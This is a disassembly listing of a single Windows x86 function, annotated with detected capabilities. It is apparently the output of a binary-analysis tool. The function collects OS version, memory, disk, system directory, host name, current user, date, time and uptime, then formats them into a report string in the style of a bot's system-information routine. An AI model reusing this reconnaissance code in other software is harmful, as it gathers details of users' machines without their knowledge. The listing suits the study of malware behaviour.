Function at 0x41c7cb
Capabilities:
Check os version
Get common file path
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x96c
push esi
push edi
mov dword [ebp - 0x2c8], 0x4e370c
mov dword [ebp - 0x660], 0x94
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x65c], 4
jne 0x41c834
cmp dword [ebp - 0x658], 0
jne 0x41c834
cmp dword [ebp - 0x650], 1
jne 0x41c81c
mov dword [ebp - 0x2c8], 0x446b44
cmp dword [ebp - 0x650], 2
jne 0x41c82f
mov dword [ebp - 0x2c8], 0x446b48
jmp 0x41c8d7
cmp dword [ebp - 0x65c], 4
jne 0x41c855
cmp dword [ebp - 0x658], 0xa
jne 0x41c855
mov dword [ebp - 0x2c8], 0x446b4c
jmp 0x41c8d7
cmp dword [ebp - 0x65c], 4
jne 0x41c873
cmp dword [ebp - 0x658], 0x5a
jne 0x41c873
mov dword [ebp - 0x2c8], 0x446b50
jmp 0x41c8d7
cmp dword [ebp - 0x65c], 5
jne 0x41c891
cmp dword [ebp - 0x658], 0
jne 0x41c891
mov dword [ebp - 0x2c8], 0x446b54
jmp 0x41c8d7
cmp dword [ebp - 0x65c], 5
jne 0x41c8af
cmp dword [ebp - 0x658], 1
jne 0x41c8af
mov dword [ebp - 0x2c8], 0x446b58
jmp 0x41c8d7
cmp dword [ebp - 0x65c], 5
jne 0x41c8cd
cmp dword [ebp - 0x658], 2
jne 0x41c8cd
mov dword [ebp - 0x2c8], str.2003
jmp 0x41c8d7
mov dword [ebp - 0x2c8], 0x446b64
cmp dword [ebp - 0x650], 2
jne 0x41c918
movsx eax, byte [ebp - 0x64c]
test eax, eax
je 0x41c918
lea eax, [ebp - 0x64c]
push eax
push dword [ebp - 0x2c8]
push str._s___s_
lea eax, [ebp - 0x3c4]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x338], 0x100
mov ax, word [0x446b70]
mov word [ebp - 0x4c4], ax
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x4c2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp dword [0x4e3430], 0
je 0x41c95b
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x4c4]
push eax
call dword [0x4e3430]
push dword [ebp + 0xc]
call fcn.0040c969
pop ecx
push eax
call dword [0x4e3564]
mov dword [ebp - 0x5cc], eax
push 2
push 4
lea eax, [ebp - 0x5cc]
push eax
call dword [0x4e34e8]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
je 0x41c9a9
mov eax, dword [ebp - 0x334]
push dword [eax]
lea eax, [ebp - 0xfc]
push eax
call fcn.0041ee40
pop ecx
pop ecx
jmp 0x41c9bc
push str.couldnt_resolve_host
lea eax, [ebp - 0xfc]
push eax
call fcn.0041ee40
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x5c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x46
lea eax, [ebp - 0x330]
push eax
push str.dd:MMM:yyyy
push 0
push 0
push 0x409
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x46
lea eax, [ebp - 0x144]
push eax
push str.HH:mm:ss
push 0
push 0
push 0x409
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0x20
push 0
lea eax, [ebp - 0x2e8]
push eax
call fcn.0041ecc0
add esp, 0xc
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x5c8]
push eax
call fcn.0041f5d0
add esp, 0x14
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x96c]
push eax
call fcn.0040e36d
pop ecx
pop ecx
mov esi, eax
push 0x60
pop ecx
lea edi, [ebp - 0x7ec]
rep movsd dword es:[edi], dword [esi]
push 0x60
pop ecx
lea esi, [ebp - 0x7ec]
lea edi, [ebp - 0x2c4]
rep movsd dword es:[edi], dword [esi]
push 0
call fcn.0041c4d9
pop ecx
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x4c4]
push eax
push dword [ebp + 0xc]
call fcn.0040c969
pop ecx
push eax
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x5c8]
push eax
push dword [ebp - 0x654]
push dword [ebp - 0x658]
push dword [ebp - 0x65c]
push dword [ebp - 0x2c8]
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x1c4]
push eax
mov eax, dword [ebp - 0x2dc]
shr eax, 0xa
xor ecx, ecx
push ecx
push eax
call fcn.0040e1e2
pop ecx
pop ecx
push eax
mov eax, dword [ebp - 0x2e0]
shr eax, 0xa
xor ecx, ecx
push ecx
push eax
call fcn.0040e1e2
pop ecx
pop ecx
push eax
call fcn.0041c6ac
push edx
push eax
push str._MAIN_
push str._s__CpU_:__I64uMHz.__RaM___sKB_total___sKB_free.__DiSk___s_total___s_free.__Os__Windows__s___d._d__Build__d_.__SyS_DiR___s.__HoStNaMe___s___s_.__CuRrEnT_uSeR___s.__DaTe___s.__TiMe___s.__UpTiMe___s
push 0x200
push dword [ebp + 8]
call fcn.0041f000
add esp, 0x54
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret